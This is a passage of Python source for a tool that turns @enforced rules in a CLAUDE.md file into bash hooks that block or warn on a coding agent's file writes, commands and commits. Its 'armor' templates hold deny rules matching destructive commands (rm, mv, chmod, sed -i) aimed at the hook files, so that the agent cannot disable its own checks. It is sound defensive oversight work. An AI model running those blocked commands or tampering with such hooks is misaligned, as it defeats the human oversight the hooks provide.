  554. path_filter=[path_filter],
  555. path_mode=path_mode,
  556. severity=severity,
  557. )
  558. def classify_directive(line, line_num):
  559. """Classify a single line as an enforceable directive or None."""
  560. stripped = line.strip()
  561. if not stripped or stripped.startswith('#') and not stripped.startswith('##'):
  562. return None
  563. # Remove markdown list markers
  564. clean = re.sub(r'^[-*]\s+', '', stripped)
  565. clean = re.sub(r'^\d+\.\s+', '', clean)
  566. # Remove @enforced tag but remember it was there, and extract severity
  567. has_enforced = '@enforced' in clean
  568. severity = 'block' # default
  569. # Parse @enforced(warn) or @enforced(block) syntax
  570. sev_match = re.search(r'@enforced\((\w+)\)', clean)
  571. if sev_match:
  572. sev_val = sev_match.group(1).lower()
  573. if sev_val in ('warn', 'block'):
  574. severity = sev_val
  575. clean = re.sub(r'@enforced(?:\(\w+\))?', '', clean).strip()
  576. clean = clean.replace('@required', '').strip()
  577. if not clean or len(clean) < 10:
  578. return None
  579. # Try file-guard patterns
  580. for pattern in FILE_GUARD_PATTERNS:
  581. m = pattern.search(clean)
  582. if m:
  583. file_pats = extract_file_patterns(m.group(1))
  584. if file_pats:
  585. return Directive(
  586. text=stripped,
  587. hook_type='file-guard',
  588. patterns=file_pats,
  589. description=f"Block Write/Edit to: {', '.join(file_pats)}",
  590. line_num=line_num,
  591. severity=severity,
  592. )
  593. # Try branch-guard patterns (before bash-guard, since "commit to main" matches both)
  594. for pattern in BRANCH_GUARD_PATTERNS:
  595. m = pattern.search(clean)
  596. if m:
  597. branches = extract_branch_names(m.group(1))
  598. if branches:
  599. return Directive(
  600. text=stripped,
  601. hook_type='branch-guard',
  602. patterns=branches,
  603. description=f"Block commits to: {', '.join(branches)}",
  604. line_num=line_num,
  605. severity=severity,
  606. )
  607. # "Never modify/write any files" → block Write, Edit, MultiEdit tools
  608. if FILE_MODIFY_BLOCK_PATTERN.search(clean):
  609. return Directive(
  610. text=stripped,
  611. hook_type='tool-block',
  612. patterns=['Write', 'Edit', 'MultiEdit'],
  613. description="Block tools: Write, Edit, MultiEdit (read-only mode)",
  614. line_num=line_num,
  615. severity=severity,
  616. )
  617. # Try tool-block patterns (before bash-guard, since "don't use WebSearch" matches both)
  618. for pattern in TOOL_BLOCK_PATTERNS:
  619. m = pattern.search(clean)
  620. if m:
  621. tools = [t.strip() for t in re.split(r'[,/\s]+', m.group(1))
  622. if t.strip() and t.strip().lower() not in ('or', 'and', 'the', 'tool', 'tools')]
  623. if tools:
  624. return Directive(
  625. text=stripped,
  626. hook_type='tool-block',
  627. patterns=tools,
  628. description=f"Block tools: {', '.join(tools)}",
  629. line_num=line_num,
  630. severity=severity,
  631. )
  632. # Try scoped-content-guard (content + path combo)
  633. # "Interfaces should only be defined in types/ folders"
  634. # "No SQL queries in controllers/"
  635. clean_lower = clean.lower()
  636. scoped = _try_scoped_content(clean, clean_lower, stripped, line_num, severity=severity)
  637. if scoped:
  638. return scoped
  639. # Try concept-based content-guard (natural language antipatterns)
  640. # "Never use inline styles" → content-guard for style=
  641. # "No HEX color codes" → content-guard for #[0-9a-fA-F]
  642. for concept, code_pat in CONCEPT_PATTERNS.items():
  643. if concept in clean_lower:
  644. return Directive(
  645. text=stripped,
  646. hook_type='content-guard',
  647. patterns=[code_pat],
  648. description=f"Block writing: {code_pat}",
  649. line_num=line_num,
  650. severity=severity,
  651. )
  652. # Try content-guard patterns (before bash-guard to avoid false positives
  653. # like "don't use `any` type" being classified as bash-guard)
  654. for pattern in CONTENT_GUARD_PATTERNS:
  655. m = pattern.search(clean)
  656. if m:
  657. code_pat = m.group(1).strip()
  658. if code_pat:
  659. return Directive(
  660. text=stripped,
  661. hook_type='content-guard',
  662. patterns=[code_pat],
  663. description=f"Block writing: {code_pat}",
  664. line_num=line_num,
  665. severity=severity,
  666. )
  667. # Try bash-guard patterns
  668. for pattern in BASH_GUARD_PATTERNS:
  669. m = pattern.search(clean)
  670. if m:
  671. cmd_pats = extract_command_patterns(m.group(1))
  672. if cmd_pats:
  673. return Directive(
  674. text=stripped,
  675. hook_type='bash-guard',
  676. patterns=cmd_pats,
  677. description=f"Block commands: {', '.join(cmd_pats)}",
  678. line_num=line_num,
  679. severity=severity,
  680. )
  681. # Try prefer-command patterns ("Use pnpm instead of npm")
  682. for pattern in PREFER_COMMAND_PATTERNS:
  683. m = pattern.search(clean)
  684. if m:
  685. preferred, blocked = m.group(1), m.group(2)
  686. return Directive(
  687. text=stripped,
  688. hook_type='bash-guard',
  689. patterns=[blocked],
  690. description=f"Block commands: {blocked} (use {preferred} instead)",
  691. line_num=line_num,
  692. severity=severity,
  693. )
  694. # Try require-prior-tool patterns
  695. # Map common terms to Claude Code tool names
  696. _tool_name_map = {
  697. 'tests': 'Bash', 'test': 'Bash', 'lint': 'Bash', 'linting': 'Bash',
  698. 'cargo test': 'Bash', 'npm test': 'Bash', 'pytest': 'Bash',
  699. 'change': 'Bash', 'changes': 'Bash', 'modification': 'Bash',
  700. 'modifications': 'Bash', 'edits': 'Bash',
  701. 'search': 'Grep', 'grep': 'Grep', 'rg': 'Grep',
  702. 'web search': 'WebSearch', 'websearch': 'WebSearch',
  703. 'webfetch': 'WebFetch', 'web fetch': 'WebFetch',
  704. 'committing': 'Bash', 'commit': 'Bash', 'pushing': 'Bash',
  705. 'read': 'Read', 'reading': 'Read',
  706. 'editing': 'Edit', 'edit': 'Edit',
  707. 'modifying': 'Edit', 'modify': 'Edit',
  708. 'changing': 'Edit',
  709. 'updating': 'Edit', 'update': 'Edit',
  710. }
  711. def _to_tool(name):
  712. """Map a term to its Claude Code tool name."""
  713. low = name.strip().lower()
  714. if low in _tool_name_map:
  715. return _tool_name_map[low]
  716. # If it looks like a tool name already (PascalCase), keep it
  717. if name[0].isupper() and name.isalnum():
  718. return name
  719. return name
  720. for idx, pattern in enumerate(REQUIRE_PRIOR_PATTERNS):
  721. m = pattern.search(clean)
  722. if m:
  723. groups = m.groups()
  724. if idx == 1:
  725. # Pattern: "Before any WebSearch, MUST grep the vault first"
  726. # Group 1 = target tool, verb = required action
  727. target_raw = groups[0].strip()
  728. verb_match = re.search(r'(?:must|should|always)\s+(?:run\s+|execute\s+)?(\S+)', clean, re.IGNORECASE)
  729. required_raw = verb_match.group(1) if verb_match else 'grep'
  730. required = _to_tool(required_raw)
  731. target = _to_tool(target_raw)
  732. return Directive(
  733. text=stripped,
  734. hook_type='require-prior-tool',
  735. patterns=[required, target],
  736. description=f"Require {required} before {target}",
  737. line_num=line_num,
  738. severity=severity,
  739. )
  740. elif len(groups) >= 2:
  741. # Pattern: "Run X before Y" -> required=X, target=Y
  742. required_raw = groups[0].strip()
  743. target_raw = groups[1].strip()
  744. # Check if the directive references a specific file to read first
  745. # e.g. "Read MEMORY.md before editing any file"
  746. file_match = re.search(
  747. r'\bread\s+(?:the\s+)?([A-Za-z0-9_./\-]+\.(?:md|txt|json|yaml|yml|toml|cfg|ini|conf))\b',
  748. clean, re.IGNORECASE)
  749. if file_match:
  750. required_file = file_match.group(1)
  751. target = _to_tool(target_raw)
  752. target_tools = 'Write|Edit|MultiEdit'
  753. if target in ('Bash',):
  754. target_tools = 'Bash'
  755. return Directive(
  756. text=stripped,
  757. hook_type='require-prior-read-file',
  758. patterns=[required_file, target_tools],
  759. description=f"Read {required_file} before {target_tools}",
  760. line_num=line_num,
  761. severity=severity,
  762. )
  763. required = _to_tool(required_raw)
  764. target = _to_tool(target_raw)
  765. # If both map to the same tool (e.g. both Bash), keep
  766. # the raw command text so the hook can pattern-match
  767. if required == target == 'Bash':
  768. return Directive(
  769. text=stripped,
  770. hook_type='require-prior-command',
  771. patterns=[required_raw, target_raw],
  772. description=f"Require `{required_raw}` before `{target_raw}`",
  773. line_num=line_num,
  774. severity=severity,
  775. )
  776. return Directive(
  777. text=stripped,
  778. hook_type='require-prior-tool',
  779. patterns=[required, target],
  780. description=f"Require {required} before {target}",
  781. line_num=line_num,
  782. severity=severity,
  783. )
  784. elif len(groups) == 1:
  785. # Single-group: "search locally before web search" -> Grep before WebSearch
  786. target = _to_tool(groups[0].strip())
  787. return Directive(
  788. text=stripped,
  789. hook_type='require-prior-tool',
  790. patterns=['Grep', target],
  791. description=f"Require Grep before {target}",
  792. line_num=line_num,
  793. severity=severity,
  794. )
  795. # @enforced tag on an unclassified line - try harder
  796. if has_enforced:
  797. # Check for file patterns
  798. file_pats = extract_file_patterns(clean)
  799. if file_pats:
  800. return Directive(
  801. text=stripped,
  802. hook_type='file-guard',
  803. patterns=file_pats,
  804. description=f"Block Write/Edit to: {', '.join(file_pats)}",
  805. line_num=line_num,
  806. severity=severity,
  807. )
  808. # Check for command patterns
  809. cmd_pats = extract_command_patterns(clean)
  810. if cmd_pats:
  811. return Directive(
  812. text=stripped,
  813. hook_type='bash-guard',
  814. patterns=cmd_pats,
  815. description=f"Block commands: {', '.join(cmd_pats)}",
  816. line_num=line_num,
  817. severity=severity,
  818. )
  819. return None
  820. def scan_file(path):
  821. """Scan a CLAUDE.md file and return (enforceable, skipped) directives."""
  822. content = Path(path).read_text()
  823. lines = content.splitlines()
  824. enforceable = []
  825. skipped = []
  826. section_enforced = False # tracks whether current section has @enforced
  827. section_severity = 'block' # section-level severity default
  828. in_code_block = False
  829. for i, line in enumerate(lines, 1):
  830. stripped = line.strip()
  831. if not stripped:
  832. continue
  833. # Track code blocks
  834. if stripped.startswith('```'):
  835. in_code_block = not in_code_block
  836. continue
  837. if in_code_block:
  838. continue
  839. # Section headings (# through ####) may carry @enforced tag
  840. if re.match(r'^#{1,4}\s', stripped):
  841. section_enforced = '@enforced' in stripped or '@required' in stripped
  842. # Parse section-level severity: ## Rules @enforced(warn)
  843. sec_sev_match = re.search(r'@enforced\((\w+)\)', stripped)
  844. if sec_sev_match and sec_sev_match.group(1).lower() in ('warn', 'block'):
  845. section_severity = sec_sev_match.group(1).lower()
  846. elif section_enforced:
  847. section_severity = 'block'
  848. # Don't classify the heading itself as a directive — the
  849. # content lines under it are the actual rules.
  850. continue
  851. # Content lines: classify if they have @enforced inline or belong
  852. # to an @enforced section
  853. has_inline_tag = '@enforced' in line or '@required' in line
  854. if not has_inline_tag and not section_enforced:
  855. continue
  856. directive = classify_directive(line, i)
  857. if directive:
  858. # Inline @enforced(warn) takes precedence; if no inline tag,
  859. # inherit section severity
  860. if not has_inline_tag and section_enforced:
  861. directive.severity = section_severity
  862. enforceable.append(directive)
  863. elif has_inline_tag:
  864. skipped.append((i, stripped, 'Could not classify'))
  865. return enforceable, skipped
  866. def scan_suggestions(path):
  867. """Scan ALL lines in CLAUDE.md, ignoring @enforced requirement.
  868. Returns directives that COULD be enforced if tagged. Used to guide
  869. new users who haven't added @enforced yet.
  870. """
  871. content = Path(path).read_text()
  872. lines = content.splitlines()
  873. suggestions = []
  874. in_code_block = False
  875. for i, line in enumerate(lines, 1):
  876. stripped = line.strip()
  877. if not stripped:
  878. continue
  879. if stripped.startswith('```'):
  880. in_code_block = not in_code_block
  881. continue
  882. if in_code_block:
  883. continue
  884. if re.match(r'^#{1,4}\s', stripped):
  885. continue
  886. directive = classify_directive(line, i)
  887. if directive:
  888. suggestions.append(directive)
  889. return suggestions
  890. # --- Hook Generation ---
  891. FILE_GUARD_TEMPLATE = '''#!/usr/bin/env bash
  892. # enforce: {directive}
  893. # Generated by enforce-hooks from CLAUDE.md
  894. INPUT=$(cat)
  895. TOOL=$(echo "$INPUT" | jq -r '.tool_name')
  896. case "$TOOL" in {tool_case}) ;; *) exit 0 ;; esac
  897. FILE=$(echo "$INPUT" | jq -r '.tool_input.file_path // empty')
  898. [ -z "$FILE" ] && exit 0
  899. {checks}
  900. exit 0
  901. '''
  902. BASH_GUARD_TEMPLATE = '''#!/usr/bin/env bash
  903. # enforce: {directive}
  904. # Generated by enforce-hooks from CLAUDE.md
  905. shopt -s nocasematch
  906. INPUT=$(cat)
  907. [ "$(echo "$INPUT" | jq -r '.tool_name')" != "Bash" ] && exit 0
  908. CMD=$(echo "$INPUT" | jq -r '.tool_input.command // empty')
  909. {checks}
  910. exit 0
  911. '''
  912. BRANCH_GUARD_TEMPLATE = '''#!/usr/bin/env bash
  913. # enforce: {directive}
  914. # Generated by enforce-hooks from CLAUDE.md
  915. INPUT=$(cat)
  916. [ "$(echo "$INPUT" | jq -r '.tool_name')" != "Bash" ] && exit 0
  917. CMD=$(echo "$INPUT" | jq -r '.tool_input.command // empty')
  918. BRANCH=$(git rev-parse --abbrev-ref HEAD 2>/dev/null || echo "unknown")
  919. {checks}
  920. exit 0
  921. '''
  922. TOOL_BLOCK_TEMPLATE = '''#!/usr/bin/env bash
  923. # enforce: {directive}
  924. # Generated by enforce-hooks from CLAUDE.md
  925. INPUT=$(cat)
  926. TOOL=$(echo "$INPUT" | jq -r '.tool_name')
  927. {checks}
  928. exit 0
  929. '''
  930. REQUIRE_PRIOR_TEMPLATE = '''#!/usr/bin/env bash
  931. # enforce: {directive}
  932. # Generated by enforce-hooks from CLAUDE.md
  933. # NOTE: Requires session-log hook to be installed for tracking.
  934. INPUT=$(cat)
  935. TOOL=$(echo "$INPUT" | jq -r '.tool_name')
  936. case "$TOOL" in {target_tools}) ;; *) exit 0 ;; esac
  937. TODAY=$(date -u +%Y-%m-%d)
  938. LOG="$HOME/.claude/session-logs/$TODAY.jsonl"
  939. if [ -f "$LOG" ]; then
  940. if grep -q '"tool":"{required_tool}"' "$LOG" 2>/dev/null; then
  941. exit 0
  942. fi
  943. fi
  944. echo '{{"hookSpecificOutput": {{"permissionDecision": "deny", "permissionDecisionReason": "Run {required_tool} first. (CLAUDE.md: {short})"}}}}'
  945. exit 0
  946. '''
  947. REQUIRE_PRIOR_READ_FILE_TEMPLATE = '''#!/usr/bin/env bash
  948. # enforce: {directive}
  949. # Generated by enforce-hooks from CLAUDE.md
  950. # NOTE: Requires session-log hook to be installed for tracking.
  951. # Checks that a specific file was Read before allowing Edit/Write.
  952. INPUT=$(cat)
  953. TOOL=$(echo "$INPUT" | jq -r '.tool_name')
  954. case "$TOOL" in {target_tools}) ;; *) exit 0 ;; esac
  955. TODAY=$(date -u +%Y-%m-%d)
  956. LOG="$HOME/.claude/session-logs/$TODAY.jsonl"
  957. if [ -f "$LOG" ]; then
  958. if grep '"tool":"Read"' "$LOG" 2>/dev/null | grep -q '{required_file}'; then
  959. exit 0
  960. fi
  961. fi
  962. echo '{{"hookSpecificOutput": {{"permissionDecision": "deny", "permissionDecisionReason": "Read {required_file} first. (CLAUDE.md: {short})"}}}}'
  963. exit 0
  964. '''
  965. REQUIRE_PRIOR_READ_FILE_WARN_TEMPLATE = '''#!/usr/bin/env bash
  966. # enforce: {directive} [WARN]
  967. # Generated by enforce-hooks from CLAUDE.md
  968. # NOTE: Requires session-log hook to be installed for tracking.
  969. # Checks that a specific file was Read before allowing Edit/Write.
  970. INPUT=$(cat)
  971. TOOL=$(echo "$INPUT" | jq -r '.tool_name')
  972. case "$TOOL" in {target_tools}) ;; *) exit 0 ;; esac
  973. TODAY=$(date -u +%Y-%m-%d)
  974. LOG="$HOME/.claude/session-logs/$TODAY.jsonl"
  975. if [ -f "$LOG" ]; then
  976. if grep '"tool":"Read"' "$LOG" 2>/dev/null | grep -q '{required_file}'; then
  977. exit 0
  978. fi
  979. fi
  980. echo "⚠ enforce-hooks WARN: Read {required_file} first. (CLAUDE.md: {short})" >&2
  981. exit 0
  982. '''
  983. REQUIRE_PRIOR_CMD_TEMPLATE = '''#!/usr/bin/env bash
  984. # enforce: {directive}
  985. # Generated by enforce-hooks from CLAUDE.md
  986. # NOTE: Requires session-log hook to be installed for tracking.
  987. INPUT=$(cat)
  988. [ "$(echo "$INPUT" | jq -r '.tool_name')" != "Bash" ] && exit 0
  989. CMD=$(echo "$INPUT" | jq -r '.tool_input.command // empty')
  990. # Only block commands matching the target pattern
  991. case "$CMD" in *"{target_cmd}"*) ;; *) exit 0 ;; esac
  992. # Check session log for the required prior command
  993. TODAY=$(date -u +%Y-%m-%d)
  994. LOG="$HOME/.claude/session-logs/$TODAY.jsonl"
  995. if [ -f "$LOG" ]; then
  996. if grep -q '{required_cmd}' "$LOG" 2>/dev/null; then
  997. exit 0
  998. fi
  999. fi
  1000. echo '{{"hookSpecificOutput": {{"permissionDecision": "deny", "permissionDecisionReason": "Run {required_cmd} first. (CLAUDE.md: {short})"}}}}'
  1001. exit 0
  1002. '''
  1003. REQUIRE_PRIOR_WARN_TEMPLATE = '''#!/usr/bin/env bash
  1004. # enforce: {directive} [WARN]
  1005. # Generated by enforce-hooks from CLAUDE.md
  1006. # NOTE: Requires session-log hook to be installed for tracking.
  1007. INPUT=$(cat)
  1008. TOOL=$(echo "$INPUT" | jq -r '.tool_name')
  1009. case "$TOOL" in {target_tools}) ;; *) exit 0 ;; esac
  1010. TODAY=$(date -u +%Y-%m-%d)
  1011. LOG="$HOME/.claude/session-logs/$TODAY.jsonl"
  1012. if [ -f "$LOG" ]; then
  1013. if grep -q '"tool":"{required_tool}"' "$LOG" 2>/dev/null; then
  1014. exit 0
  1015. fi
  1016. fi
  1017. echo "⚠ enforce-hooks WARN: Run {required_tool} first. (CLAUDE.md: {short})" >&2
  1018. exit 0
  1019. '''
  1020. REQUIRE_PRIOR_CMD_WARN_TEMPLATE = '''#!/usr/bin/env bash
  1021. # enforce: {directive} [WARN]
  1022. # Generated by enforce-hooks from CLAUDE.md
  1023. # NOTE: Requires session-log hook to be installed for tracking.
  1024. INPUT=$(cat)
  1025. [ "$(echo "$INPUT" | jq -r '.tool_name')" != "Bash" ] && exit 0
  1026. CMD=$(echo "$INPUT" | jq -r '.tool_input.command // empty')
  1027. # Only check commands matching the target pattern
  1028. case "$CMD" in *"{target_cmd}"*) ;; *) exit 0 ;; esac
  1029. # Check session log for the required prior command
  1030. TODAY=$(date -u +%Y-%m-%d)
  1031. LOG="$HOME/.claude/session-logs/$TODAY.jsonl"
  1032. if [ -f "$LOG" ]; then
  1033. if grep -q '{required_cmd}' "$LOG" 2>/dev/null; then
  1034. exit 0
  1035. fi
  1036. fi
  1037. echo "⚠ enforce-hooks WARN: Run {required_cmd} first. (CLAUDE.md: {short})" >&2
  1038. exit 0
  1039. '''
  1040. # --- Armor: Hook Self-Protection Templates ---
  1041. ARMOR_FILE_GUARD = '''#!/usr/bin/env bash
  1042. # enforce: Hook self-protection (--armor)
  1043. # Generated by enforce-hooks --armor
  1044. # Prevents Claude from modifying hook scripts or settings via Write/Edit
  1045. INPUT=$(cat)
  1046. TOOL=$(echo "$INPUT" | jq -r '.tool_name')
  1047. case "$TOOL" in Write|Edit|MultiEdit) ;; *) exit 0 ;; esac
  1048. FILE=$(echo "$INPUT" | jq -r '.tool_input.file_path // empty')
  1049. [ -z "$FILE" ] && exit 0
  1050. [[ "$FILE" == *".claude/hooks/"* ]] && echo '{"hookSpecificOutput": {"permissionDecision": "deny", "permissionDecisionReason": "Armored: hook files in .claude/hooks/ are protected. (enforce-hooks --armor)"}}' && exit 0
  1051. [[ "$FILE" == *".claude/settings.json"* ]] && echo '{"hookSpecificOutput": {"permissionDecision": "deny", "permissionDecisionReason": "Armored: .claude/settings.json is protected. (enforce-hooks --armor)"}}' && exit 0
  1052. exit 0
  1053. '''
  1054. ARMOR_BASH_GUARD = '''#!/usr/bin/env bash
  1055. # enforce: Hook self-protection (--armor)
  1056. # Generated by enforce-hooks --armor
  1057. # Prevents Claude from deleting/moving/disabling hook scripts via Bash
  1058. INPUT=$(cat)
  1059. [ "$(echo "$INPUT" | jq -r '.tool_name')" != "Bash" ] && exit 0
  1060. CMD=$(echo "$INPUT" | jq -r '.tool_input.command // empty')
  1061. if [[ "$CMD" == *".claude/hooks"* ]]; then
  1062. case "$CMD" in
  1063. *rm*|*mv*|*chmod*|*chown*|*truncate*|*unlink*|*">"*|*sed*-i*)
  1064. echo '{"hookSpecificOutput": {"permissionDecision": "deny", "permissionDecisionReason": "Armored: destructive commands targeting .claude/hooks/ are blocked. (enforce-hooks --armor)"}}'
  1065. exit 0 ;;
  1066. esac
  1067. fi
  1068. if [[ "$CMD" == *".claude/settings.json"* ]]; then
  1069. case "$CMD" in
  1070. *rm*|*mv*|*truncate*|*unlink*|*">"*|*sed*-i*)
  1071. echo '{"hookSpecificOutput": {"permissionDecision": "deny", "permissionDecisionReason": "Armored: destructive commands targeting .claude/settings.json are blocked. (enforce-hooks --armor)"}}'
  1072. exit 0 ;;
  1073. esac
  1074. fi
  1075. exit 0
  1076. '''
  1077. CONTENT_GUARD_TEMPLATE = '''#!/usr/bin/env bash
  1078. # enforce: {directive}
  1079. # Generated by enforce-hooks from CLAUDE.md
  1080. INPUT=$(cat)
  1081. TOOL=$(echo "$INPUT" | jq -r '.tool_name')
  1082. case "$TOOL" in Edit|Write|MultiEdit) ;; *) exit 0 ;; esac
  1083. # Extract content being written
  1084. if [ "$TOOL" = "Edit" ]; then
  1085. CONTENT=$(echo "$INPUT" | jq -r '.tool_input.new_string // empty')
  1086. elif [ "$TOOL" = "Write" ]; then
  1087. CONTENT=$(echo "$INPUT" | jq -r '.tool_input.content // empty')
  1088. elif [ "$TOOL" = "MultiEdit" ]; then
  1089. CONTENT=$(echo "$INPUT" | jq -r '[.tool_input.edits[].new_string] | join("\\n") // empty')
  1090. fi
  1091. [ -z "$CONTENT" ] && exit 0
  1092. {checks}
  1093. exit 0
  1094. '''
  1095. SCOPED_CONTENT_GUARD_TEMPLATE = '''#!/usr/bin/env bash
  1096. # enforce: {directive}
  1097. # Generated by enforce-hooks from CLAUDE.md
  1098. INPUT=$(cat)
  1099. TOOL=$(echo "$INPUT" | jq -r '.tool_name')
  1100. case "$TOOL" in Edit|Write|MultiEdit) ;; *) exit 0 ;; esac
  1101. # Extract file path
  1102. FILE=$(echo "$INPUT" | jq -r '.tool_input.file_path // empty')
  1103. [ -z "$FILE" ] && exit 0
  1104. # Check path scope
  1105. {path_check}
  1106. # Extract content being written
  1107. if [ "$TOOL" = "Edit" ]; then
  1108. CONTENT=$(echo "$INPUT" | jq -r '.tool_input.new_string // empty')
  1109. elif [ "$TOOL" = "Write" ]; then
  1110. CONTENT=$(echo "$INPUT" | jq -r '.tool_input.content // empty')
  1111. elif [ "$TOOL" = "MultiEdit" ]; then
  1112. CONTENT=$(echo "$INPUT" | jq -r '[.tool_input.edits[].new_string] | join("\\n") // empty')
  1113. fi
  1114. [ -z "$CONTENT" ] && exit 0
  1115. {content_check}
  1116. exit 0
  1117. '''
  1118. def generate_scoped_content_guard(directive):
  1119. """Generate a scoped-content-guard hook script."""
  1120. short = re.sub(r'@enforced(?:\(\w+\))?', '', directive.text[:80]).strip()
  1121. short_escaped = short.replace("'", "'\\''")
  1122. sev = directive.severity
  1123. # Path check
  1124. path_lines = []
  1125. for pf in (directive.path_filter or []):
  1126. pf_escaped = pf.replace('"', '\\"')
  1127. if directive.path_mode == 'only_in':
  1128. # If path matches, content is allowed - exit early
  1129. path_lines.append(f'[[ "$FILE" == *"{pf_escaped}"* ]] && exit 0')
  1130. else: # never_in
  1131. # If path does NOT match, content is allowed - exit early
  1132. path_lines.append(f'[[ "$FILE" != *"{pf_escaped}"* ]] && exit 0')
  1133. path_check = '\n'.join(path_lines)
  1134. # Content check (same logic as content-guard)
  1135. content_lines = []
  1136. for pat in directive.patterns:
  1137. escaped = pat.replace("'", "'\\''")
  1138. is_regex = any(c in pat for c in r'[](){}*+?|\\^$')
  1139. grep_flag = '-qE' if is_regex else '-qF'
  1140. if sev == 'warn':
  1141. content_lines.append(
  1142. f'if echo "$CONTENT" | grep {grep_flag} \'{escaped}\'; then\n'
  1143. f' echo "⚠ enforce-hooks WARN: {escaped} not allowed here. (CLAUDE.md: {short_escaped})" >&2\n'
  1144. f'fi'
  1145. )
  1146. else:
  1147. content_lines.append(
  1148. f'if echo "$CONTENT" | grep {grep_flag} \'{escaped}\'; then\n'
  1149. f' echo \'{{"hookSpecificOutput": {{"permissionDecision": "deny", "permissionDecisionReason": "Content blocked: {escaped} not allowed here. (CLAUDE.md: {short_escaped})"}}}}\'\n'
  1150. f' exit 0\n'
  1151. f'fi'
  1152. )
  1153. content_check = '\n'.join(content_lines)
  1154. return SCOPED_CONTENT_GUARD_TEMPLATE.format(
  1155. directive=short,
  1156. path_check=path_check,
  1157. content_check=content_check,
  1158. )
  1159. def generate_content_guard_checks(patterns, short_directive, severity='block'):
  1160. """Generate bash checks for content-guard patterns."""
  1161. lines = []
  1162. for pat in patterns:
  1163. escaped = pat.replace("'", "'\\''")
  1164. short = short_directive.replace("'", "'\\''")
  1165. # Use grep -E (regex) if pattern contains regex metacharacters, else grep -F (fixed)
  1166. is_regex = any(c in pat for c in r'[](){}*+?|\\^$')
  1167. grep_flag = '-qE' if is_regex else '-qF'
  1168. if severity == 'warn':
  1169. lines.append(
  1170. f'if echo "$CONTENT" | grep {grep_flag} \'{escaped}\'; then\n'
  1171. f' echo "⚠ enforce-hooks WARN: Content matched: {escaped}. (CLAUDE.md: {short})" >&2\n'
  1172. f'fi'
  1173. )
  1174. else:
  1175. lines.append(
  1176. f'if echo "$CONTENT" | grep {grep_flag} \'{escaped}\'; then\n'
  1177. f' echo \'{{"hookSpecificOutput": {{"permissionDecision": "deny", "permissionDecisionReason": "Content blocked: {escaped} is not allowed. (CLAUDE.md: {short})"}}}}\'\n'
  1178. f' exit 0\n'
  1179. f'fi'
  1180. )
  1181. return '\n'.join(lines)
  1182. def generate_file_guard_checks(patterns, short_directive, severity='block'):
  1183. """Generate bash checks for file-guard patterns."""
  1184. lines = []
  1185. for pat in patterns:
  1186. escaped = pat.replace('"', '\\"')
  1187. short = short_directive.replace('"', '\\"').replace('`', '')
  1188. if severity == 'warn':
  1189. lines.append(
  1190. f'[[ "$FILE" == *"{escaped}"* ]] && '
  1191. f'echo "⚠ enforce-hooks WARN: $FILE matches {escaped}. (CLAUDE.md: {short})" >&2'
  1192. )
  1193. else:
  1194. lines.append(
  1195. f'[[ "$FILE" == *"{escaped}"* ]] && '
  1196. f'echo "{{\\"hookSpecificOutput\\": {{\\"permissionDecision\\": \\"deny\\", \\"permissionDecisionReason\\": \\"Protected: $FILE matches {escaped}. (CLAUDE.md: {short})\\"}}}}\" && exit 0'
  1197. )
  1198. return '\n'.join(lines)
  1199. def generate_bash_guard_checks(patterns, short_directive, severity='block'):
  1200. """Generate bash checks for bash-guard patterns."""
  1201. lines = []
  1202. for pat in patterns:
  1203. escaped = pat.replace('"', '\\"').replace("'", "'\\''")
  1204. short = short_directive.replace('"', '\\"').replace("'", "'\\''")
  1205. if _bash_pattern_is_command_token(pat):
  1206. regex = re.escape(pat)
  1207. check_expr = f'[[ "$CMD" =~ (^|[^[:alnum:]_./-]){regex}([^[:alnum:]_./-]|$) ]]'
  1208. else:
  1209. check_expr = f'[[ "$CMD" == *"{escaped}"* ]]'
  1210. if severity == 'warn':
  1211. lines.append(
  1212. f'{check_expr} && '
  1213. f'echo "⚠ enforce-hooks WARN: {escaped} detected. (CLAUDE.md: {short})" >&2'
  1214. )
  1215. else:
  1216. lines.append(
  1217. f'{check_expr} && '
  1218. f'echo \'{{"hookSpecificOutput": {{"permissionDecision": "deny", "permissionDecisionReason": "Blocked: {escaped}. (CLAUDE.md: {short})"}}}}\' && exit 0'
  1219. )
  1220. return '\n'.join(lines)
  1221. def generate_branch_guard_checks(branches, short_directive, severity='block'):
  1222. """Generate bash checks for branch-guard patterns."""
  1223. lines = []
  1224. for branch in branches:
  1225. short = short_directive.replace('"', '\\"')
  1226. if severity == 'warn':
  1227. lines.append(f'''if [ "$BRANCH" = "{branch}" ]; then
  1228. case "$CMD" in
  1229. *"git commit"*|*"git merge"*|*"git push"*)
  1230. echo "⚠ enforce-hooks WARN: Branch {branch} is protected. (CLAUDE.md: {short})" >&2 ;;
  1231. esac
  1232. fi''')
  1233. else:
  1234. lines.append(f'''if [ "$BRANCH" = "{branch}" ]; then
  1235. case "$CMD" in
  1236. *"git commit"*|*"git merge"*|*"git push"*)
  1237. echo '{{"hookSpecificOutput": {{"permissionDecision": "deny", "permissionDecisionReason": "Branch {branch} is protected. (CLAUDE.md: {short})"}}}}'
  1238. exit 0 ;;
  1239. esac
  1240. fi''')
  1241. return '\n'.join(lines)
  1242. def generate_tool_block_checks(tools, short_directive, severity='block'):
  1243. """Generate bash checks for tool-block patterns."""
  1244. lines = []
  1245. for tool in tools:
  1246. short = short_directive.replace('"', '\\"').replace("'", "'\\''")
  1247. if severity == 'warn':
  1248. lines.append(
  1249. f'[ "$TOOL" = "{tool}" ] && '
  1250. f'echo "⚠ enforce-hooks WARN: Tool {tool} used. (CLAUDE.md: {short})" >&2'
  1251. )
  1252. else:
  1253. lines.append(
  1254. f'[ "$TOOL" = "{tool}" ] && '
  1255. f'echo \'{{"hookSpecificOutput": {{"permissionDecision": "deny", "permissionDecisionReason": "Tool {tool} is blocked. (CLAUDE.md: {short})"}}}}\' && exit 0'
  1256. )
  1257. return '\n'.join(lines)
  1258. def _truncate_short(text, maxlen=60):
  1259. """Truncate text for use in hook messages, word-boundary aware."""
  1260. clean = re.sub(r'@enforced(?:\(\w+\))?', '', text).replace('@required', '').strip()
  1261. if len(clean) <= maxlen:
  1262. return clean
  1263. # Truncate at word boundary
  1264. truncated = clean[:maxlen].rsplit(' ', 1)[0]
  1265. # Don't leave dangling punctuation
  1266. truncated = truncated.rstrip('(,[;:')
  1267. return truncated + '...'
  1268. def generate_hook(directive):
  1269. """Generate a hook script for a directive."""
  1270. short = _truncate_short(directive.text, 80)
  1271. sev = directive.severity
  1272. if directive.hook_type == 'scoped-content-guard':
  1273. return generate_scoped_content_guard(directive)
  1274. elif directive.hook_type == 'content-guard':
  1275. checks = generate_content_guard_checks(directive.patterns, short, severity=sev)
